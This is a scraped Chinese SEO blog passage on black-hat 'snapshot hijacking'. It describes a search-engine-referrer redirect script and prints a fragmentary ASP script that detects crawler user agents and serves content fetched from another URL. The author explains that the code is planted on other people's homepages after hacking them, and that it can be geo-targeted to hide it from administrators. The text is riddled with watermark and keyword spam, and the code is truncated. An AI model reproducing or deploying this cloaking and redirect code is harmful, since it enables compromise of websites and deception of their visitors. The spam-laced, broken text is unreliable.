設為首頁
收藏本站
網站地圖
SEO經驗

seo經驗黑帽seo基礎手法之快照劫持

時間:2015-11-22 17:19來源:網絡 作者:羽毛球拍磅数越高意味着什么 點擊:

羽毛球拍磅数越高意味着什么 www.gcgea.com 實際上,樓主曾經是搞安全出身的。當然早期也對黑帽手法多少有些了解,最早08年開始,見證了百度一代又一代的黑帽手法,可謂百花齊放,大神大牛級人物層出不窮,但我想黑帽seo,先不談其性質好壞,單單就技術本身來說也是值得去研究的,何況它的存在推動了搜索引擎的良性發展。外貿網站推廣

dedecms.com

下午看了三木同學的一篇文章:話說蜘蛛劫持等黑貓seo手法及解決辦法。事實上有很多白帽seo對黑帽手法了解的并不多,至于其中的原理可能更是理解的少了,但說到底黑帽seo的傾向于技術性的。所以為了普及一下廣大seo,樓主來做一篇基礎文章,至于以后會不會出高級操作教程,看情況了。

dedecms.com

首先黑帽包括很多很多手法,技術含量也要求很高。比如舉幾個列子:流量劫持、快照劫持、泛域名、泛ip、seo經驗黑帽seo基礎手法之快照劫持全能百度優化變種ip、目錄鏈輪、新聞源劫持、寄生蟲程序、get程序、無限頁面鏈輪等等,不止這些,而且還會不停的出新技能。

本文來自織夢

這篇文章來解釋一下三木同學所遇到的問題吧:

copyright dedecms

1.劫持流量: 織夢內容管理系統

三木同學說劫持的時候會判斷一下來路引擎,從百度來的時候才會跳轉,正常輸入網址是打開正常的。好,我們先看一下是怎么實現的,上代碼:

內容來自dedecms

代碼解釋:dexOf(google)>0s.indexOf(baidu)>0s.indexOf(yahoo)>0)判斷搜索引擎來源,如果來源正確,location.href=跳轉到hao123網站。下面的代碼是如果否,則打開正常首頁。這段代碼為js代碼。只是一個簡單的判斷。羽毛球拍磅数越高意味着什么

織夢好,好織夢

2、快照劫持 內容來自dedecms

這個是有點技術含量的,需要的代碼也不會那么簡單,運營策劃方案總之目的是把別人網站首頁的快照變成自己的,然后別人輸入網址打開的時候還是正常顯示,判斷來路之后才會跳轉。想把快照換成自己想要的,得需要一段能改變蜘蛛看法的代碼,代碼類型很多,我這里寫一種: 織夢內容管理系統

0orinstr(agent,baidubrowser)>0orinstr(agent,Sogou)>0orinstr(agent,googlebot)>0orinstr(agent,Sosospider)>0then 本文來自織夢

linkurl=快照網址

織夢內容管理系統

FunctionGetBody(Url) dedecms.com

DimobjXML 本文來自織夢

OnErrorResumeNext

內容來自dedecms

SetobjXML=CreateObject(Microsoft.XMLHTTP) 內容來自dedecms

WithobjXML 織夢內容管理系統

.OpenGet,Url,False,, 內容來自dedecms

.Send 織夢好,好織夢

GetBody=.ResponseBody 內容來自dedecms

EndWith

織夢內容管理系統

GetBody=BytesToBstr(GetBody,GB2312)

內容來自dedecms

SetobjXML=Nothing 本文來自織夢

EndFunction 織夢內容管理系統

FunctionBytesToBstr(strBody,CodeBase)

內容來自dedecms

dimobjStream

織夢好,好織夢

setobjStream=Server.CreateObject(Adodb.Stream)

織夢好,好織夢

objStream.Type=1 內容來自dedecms

objStream.Mode=3 dedecms.com

objStream.Open

本文來自織夢

objStream.WritestrBody 內容來自dedecms

objStream.Position=0 內容來自dedecms

objStream.Type=2

織夢好,好織夢

objStream.Charset=CodeBase

內容來自dedecms

BytesToBstr=objStream.ReadText copyright dedecms

objStream.Close

織夢好,好織夢

setobjStream=nothing 內容來自dedecms

EndFunction

copyright dedecms

response.writeGetBody(linkurl)

織夢內容管理系統

Endif%>

本文來自織夢

代碼解釋:前一段判斷抓取蜘蛛來源,指向快照抓取網址;后一段代碼判斷來路,進行跳轉到指定網址。這段代碼其他地方暫不解釋。 織夢內容管理系統

3、判斷地區劫持流量 本文來自織夢

可能有時候怕管理發現,也不需要其他地區的沒用流量。要怎么做呢。比如管理員是江西的,那么看代碼:

內容來自dedecms

代碼解釋:為ip數據識別;其他代碼看注釋;

本文來自織夢

好了,今天就說這幾個簡單的手法吧,但有人要問了,要怎么實現呢,這些代碼要放在什么地方?樓主淡淡的說:要放在別人網站的首頁上。既然是劫持,肯定是劫持別人網站的了。那要怎么放進去呢?黑掉。所以說黑帽是建立在非常高深的技術上面,然后結合seo理論,實現的一種高效轉化流量的手段,當然,這里我們暫且不談黑帽的持久性。

dedecms.com

說實在的,樓主心里猶豫了很久,要不要寫這篇文章,因為就好像樓主教大家怎么作弊一樣。實際上大家看樓主以前的文章就知道,樓主專注黑帽三十載,這,只是喜歡研究而已。不想為互聯網制造垃圾,也不想站長們辛辛苦苦做的站被人黑掉劫持掉。所以等以后有機會了,樓主也許會再發其他類似文章。樓主有時候也想寫點心得,順便征集大家的需求,比如:網站安全、羽毛球拍磅数越高意味着什么防黑,當然白帽seo樓主也可以解答。:)

織夢內容管理系統

2014.10.30,搜外首發。 內容來自dedecms

dedecms.com

在詳細說下我的問題:不但首頁快照被劫持,整站所有頁面快照都劫持了,并且劫持后,還沒有做跳轉。另外代碼也不是放在頁面上的,用百度站長平臺抓取測試顯示的代碼沒有異樣代碼。最后剪貼根目錄里面的文件,想再刪除根目錄,可怎么都刪除不了,粉碎也不行,不得已只能格式化網站所在盤符才解決了問題。

內容來自dedecms

我到現在想不明白?對方為什么這么做,有什么利益驅動?對方這個手法在當前水平下,算不算頂級高手?

內容來自dedecms

“在詳細說下我的問題:不但首頁快照被劫持,整站所有頁面快照都劫持了,并且劫持后,還沒有做跳轉。另外代碼也不是放在頁面上的,···三木”有一種首發代碼是不需要寫在頁面中的,可以用調用,比如:js。甚至可以調用圖片地址進行轉跳。在這些跳轉里面都有來路判斷,比如:referrer識別來路。為啥刪不掉,鄭州百度優化可能是劫持的全局變量,全局變量不用把代碼掛在每個頁面中。。。有點復雜。

織夢內容管理系統

對方為何這么做,首先可能是程序批量掃描的,然后批量掛的。所以會發現有很多時候有沒有權重的站都被“黑”掉,至于利益:很簡單,劫持大量頁面,機會就越多,流量就越多。這個手法算不算頂級高手?不算,只能說一般般。 copyright dedecms

------分隔線----------------------------